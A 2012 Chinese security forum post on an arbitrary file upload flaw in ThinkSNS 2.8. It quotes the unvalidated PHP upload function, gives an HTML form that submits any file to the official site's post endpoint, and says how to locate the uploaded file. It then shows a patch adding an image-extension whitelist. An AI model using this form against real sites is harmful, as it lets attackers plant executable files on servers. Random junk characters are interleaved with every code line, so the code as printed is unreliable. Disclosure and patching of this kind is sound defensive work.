中国网络渗透测试联盟
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-4 11:12
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
5 N( D+ b: @! N& W/ m
2 p5 H3 y/ m+ k0 ~* U$ H; d t- ]
+ X" W2 n2 g# o e
\api\StatusesApi.class.php
9 G$ h( O4 v) t5 X6 ?8 T& f
) W8 ?/ T6 m7 b
function uploadpic(){
" a' G: s, n+ b! `% O5 e W* P
if( $_FILES['pic'] ){
) _2 L8 I/ }" W
//执行上传操作
6 m' q8 A# r/ n& {+ G+ \3 a
$savePath = $this->_getSaveTempPath();
6 @: k8 ]) r/ Q# I+ {) j
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
0 P j8 S/ ~/ Q" a
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
# y- n6 T5 Q' W" |
{
1 I$ K, i; x/ V$ j
$result['boolen'] = 1;
- f- d1 ~) Z" c
$result['type_data'] = 'temp/'.$filename;
1 B7 x$ Z4 _* ]) z+ A$ E: U
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
: i8 g1 n% p# s% B3 Z
} else {
5 e! C" _/ M- N1 U. Q
$result['boolen'] = 0;
! g1 X9 e* d" Q; L+ x) k
$result['message'] = '上传失败';
+ G3 ?% i, `2 g. l2 q2 a% d! F
}
- U, F# J2 S1 K
}else{
3 w+ S! O. y+ G [
$result['boolen'] = 0;
) e! o3 c/ H8 Z% G7 L
$result['message'] = '上传失败';
# ~3 \3 R7 Z I" X1 [8 d% V. K- o
}
% E- U9 t# n9 |0 w
return $result;
5 a* _& G, Y5 J
}
/ O6 t5 ~( X# h% D8 Y
unloadpic()方法没有对文件类型进行验证
- v' J1 i; O9 ~) v1 \
. u* q8 e: f) n
可以构建表单, 选择任意文件, 提交到
* H% e7 r8 H6 n. {2 |( Y: X$ H
/index.php?app=w3g&mod=Index&act=doPost
0 C- @7 s% m5 ^- b! d
# B W% V5 a: s
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
3 ]6 C; R, u( D/ U
; a) q# H4 p# H, W0 O& k
2 Z2 b4 v0 O s# z& m
在登录thinksns官方微博后,
3 v7 i' a% N- Y; K. J5 R
构建以下表单:
, w9 Z7 X" Y0 C+ O6 C, O
+ |1 [9 [0 R6 v, g) q1 G Z; V$ r
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
" P4 Y( a+ k& s& h
<textarea name="content">test</textarea>
9 i8 O# Y1 d5 e4 r
file: <input id="file" type="file" name="pic" />
& }6 P8 ?1 |. q. f S1 d$ B. P
<input type="submit" value="Post" />
7 I# ^) c! y; C( E: |# ^5 d
</form>
) K* T; s. U* D$ N3 H6 Z% f
去掉缩略图的前缀(small_ )
$ a7 \0 e5 q' `5 ]- K
修复方案：
" m. L4 z7 G/ b/ @
1 F, h2 G+ E- Y) J
% a { q/ i% N2 G
\api\StatusesApi.class.php
( ]' }: `% Y0 v6 Z \
- `! ^* G: i8 ~; @- G1 E' i
function uploadpic(){
" {' w! W2 q8 N- c
/**
3 H+ i% D B1 M/ ?$ ~
* 20121018 @yelo
! B& M4 A5 N- s5 b2 i5 `# V
* 增加上传类型验证
/ F4 M" o2 u* w* I0 u+ T
*/
# K5 @$ z1 {! y" o
$pathinfo = pathinfo($_FILES['pic']['name']);
- f( \! {$ A+ b$ M
$ext = $pathinfo['extension'];
- n8 @! B1 G7 k7 e# {2 e' E M
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
n. ~4 C* C+ X7 \6 m
. D- e' H! v" Y# H) u
$uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
3 x: k. v0 @1 Q4 {% O' W1 P" m# B
) m1 @/ D7 n- f/ C/ b9 ]& |2 ]
if( $uploadCondition ){
( }2 W& O1 z8 w* z1 ~* B
//执行上传操作
2 `3 M0 D, i: Y7 B
$savePath = $this->_getSaveTempPath();
) ]" Z. S7 d: m
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
) N) a; b4 I, k* [
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
$ \: j, F1 M' r! O, I; c7 [
{
, R5 {; y8 r; h- _ x
$result['boolen'] = 1;
' \$ m9 l! c7 v( ?' }# z1 X! G
$result['type_data'] = 'temp/'.$filename;
; R1 R+ @7 _' A
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
+ E7 {. f$ p M1 W# s) {# C6 f5 ]1 J
} else {
$ l. X) v" U7 k5 i% p1 Z
$result['boolen'] = 0;
# P5 |+ U# P- ^" w" N- ~+ n
$result['message'] = '上传失败';
. I* r0 E$ p4 h2 b
}
% ^5 K- L, k% O0 O$ S2 J+ Z0 ^
}else{
; _0 U& C; V2 G: W2 U+ B4 m( O) n
$result['boolen'] = 0;
# X* ?# c) B/ f* j
$result['message'] = '上传失败';
' u8 u9 X# o7 M9 i/ \/ ~
}
& z# V! }! K! l5 F4 r+ K+ f
return $result;
) \( X( Z! t# d8 o0 d
}
9 c7 {. L- R" z& k
' w$ r0 d9 [6 s/ c5 G7 h1 b; m
. [$ Z: N0 u! j
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2